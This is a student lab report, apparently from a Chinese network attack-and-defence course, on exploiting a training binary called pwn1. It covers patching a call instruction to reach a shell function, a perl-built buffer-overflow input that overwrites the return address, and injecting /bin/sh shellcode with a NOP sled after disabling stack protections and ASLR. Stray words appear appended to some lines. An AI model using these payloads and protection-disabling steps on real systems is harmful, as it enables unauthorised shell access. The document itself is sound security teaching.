20165230田坤烨《网络对抗》Exp1 PC平台逆向破解

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。

1、基础知识学习

1.什么是漏洞?漏洞有什么危害?

  • 我认为漏洞是黑客能够利用来破坏计算机系统的后门。
  • 漏洞的存在,很容易致使黑客的侵入及病毒的驻留,会致使数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而停止乃至服务器自己被入侵者控制。

2.掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,若是不相等则跳转。(机器码:75)
  • JE:条件转移指令,若是相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp
  • short(机器码:EB) 段内直接近转移Jmp
  • near(机器码:E9) 段内间接转移 Jmp
  • word(机器码:FF) 段间直接(远)转移Jmp
  • far(机器码:EA)
  • CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。

3.gdb的经常使用命令

4.管道的概念

  • 管道是一种最基本的IPC机制,做用于有血缘关系的进程之间,完成数据传递。调用pipe系统函数便可建立一个管道。有以下特质:
  • 其本质是一个伪文件(实为内核缓冲区)
  • 由两个文件描述符引用,一个表示读端,一个表示写端。
  • 规定数据从管道的写端流入管道,从读端流出。
  • 管道的原理: 管道实为内核使用环形队列机制,借助内核缓冲区(4k)实现。
  • 管道的局限性:
  • ① 数据本身读不能本身写。
  • ② 数据一旦被读走,便不在管道中存在,不可反复读取。
  • ③ 因为管道采用半双工通讯方式。所以,数据只能在一个方向上流动。
  • ④ 只能在有公共祖先的进程间使用管道。
  • 常见的通讯方式有,单工通讯、半双工通讯、全双工通讯。
  • 实验中用到的cut命令,将一行内的数据进行分解
    cut -d '分隔符' -f fields
    1. -c 字符范围
    2. -f 取出第几段的意思 ,从1开始

2、实验内容

(一)直接修改程序机器指令,改变程序执行流程

思路

  • 找到getShell函数的位置
  • 修改main函数中,call指令的参数,使得程序调用getShell函数

步骤

进入共享文件目录/mnt/hgfs/share中,下载目标文件pwn1,输入objdump -d pwn1反汇编获得下图代码html

计算出须要修改的地址。计算方法:e8这条指令会使CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。所以想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 47d-4ba就能获得补码,是c3ffffff。linux

编辑pwn1文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
shell

如下操做是在vi内
1. 按ESC键
2. 输入以下,将显示模式切换为16进制模式
:%!xxd
3. 查找要修改的内容
/e8d7

4. 找到后先后的内容和反汇编的对比下,确认是地方是正确的
5. 修改d7为c3
6. 转换16进制为原格式
:%!xxd -r
7. 存盘退出vi
:wq

./pwn1运行改后的代码,会获得shell提示符:
windows

(二)经过构造输入参数,形成BOF攻击,改变程序执行流

思路

  1. 反汇编,了解漏洞以及程序的基本功能
  2. 确认输入字符串哪几个字符会覆盖到返回地址
  3. 确认用什么值来覆盖返回地址
  4. 构造输入字符串

反汇编,了解漏洞以及程序的基本功能

  • 该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,即foo函数中的gets函数,因为该函数不会检查用户输入的长度,经过“栈溢出”覆盖栈中保存的RET地址,能够改变程序的执行流。
  • 函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址
  • 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
确认输入字符串哪几个字符会覆盖到返回地址
  • 若是输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell

确认用什么值来覆盖返回地址

  • getShell的内存地址,经过反汇编时能够看到,即0804847d
    接下来要确认下字节序,因为是小端机器,所以应输入 11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串

  • 因为无法经过键盘输入\x7d\x84\x04\x08这样的16进制值,因此须要使用prel方法先生成包括这样字符串的一个文件,将getshell的内存地址写入输入字符串中,\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 可使用16进制查看指令xxd查看input文件的内容是否如预期。
    sass

  • 将input的输入,经过管道符“|”,做为pwn1的输入。服务器

(cat input; cat) | ./pwn1

(三)注入Shellcode并执行

准备一段Shellcode

  • shellcode就是一段机器指令(code)
  • 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 如下实践即便用该文章中生成的shellcode。以下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

准备工做

  1. 关闭堆栈保护(gcc -fno-stack-protector)
  2. 关闭堆栈执行保护(execstack -s)
  3. 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
  4. 在x32环境下
  5. 在Linux实践环境
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

构造要注入的payload

Linux下有两种基本构造攻击buf的方法: 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
咱们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是做为“着陆区/滑行区”。
咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。网络

  • 使用命令注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01为预留的返回地址retaddr:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们得把它改成这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。否则下面的操做就作不了了。

肯定\x4\x3\x2\x1到底该填什么。dom

  • 打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn20165230
  • 再开另一个终端,用gdb来调试pwn20165230这个进程。
    • ps -ef | grep pwn20165230命令找到pwn20165230的进程号是:34424:

  • gdb pwn20165230attach命令启动gdb调试这个进程:

  • disassemble foo命令反汇编,经过设置断点,来查看注入buf的内存地址:

  • 经过break *0x080484ae命令设置断点,输入c命令(continue)继续运行
  • 在另一个终端中按下回车使上一调试过程继续执行。再返回调试终端,使用info r esp命令查找地址:

  • x/16x 0xffffd28c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据咱们构造的input_shellcode可知,shellcode就在其后,因此地址应为0xffffd290

接下来只须要将以前的\x4\x3\x2\x1改成这个地址便可,用命令函数

perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3、实验中遇到的问题及解决过程

不能获得正确结果

  • 解决:第二个实践中按照步骤运行下来不能得看到0x01020304正确的结果,因而从新copy了pwn文件到共享文件夹中,并重命名为pwn20165230,便可获得正确结果,应养成备份的好习惯

提示不能启动虚拟机

  1. 打开你存放虚拟机系统文件的文件夹,注意,是系统文件,不是虚拟机的安装目录,也就是你创建虚拟机的时候下图设置的位置
  2. 而后搜索以*.lck为关键字这个文件夹
  3. 删除找到的全部*.lck临时文件,再次启用就ok了学习

    4、实验收获与感想

  • 此次实验总的来讲比较顺利,复习了Linux的部分指令、汇编的部分知识、gdb调试、vi的使用、反汇编与十六进制编辑,学习了BOF的原理和防护等知识。 此次实践虽然是个简单的训练,可是却让我深入感觉到BOF漏洞带来的危害,更重要的是,让我意识到漏洞每每是在不经意间产生,而又很容易被有心之人利用。但愿将来在网络攻防技术这门课中学到更多的攻击技术,在攻击中让咱们学会更好地防护漏洞。
相关文章
相关标签/搜索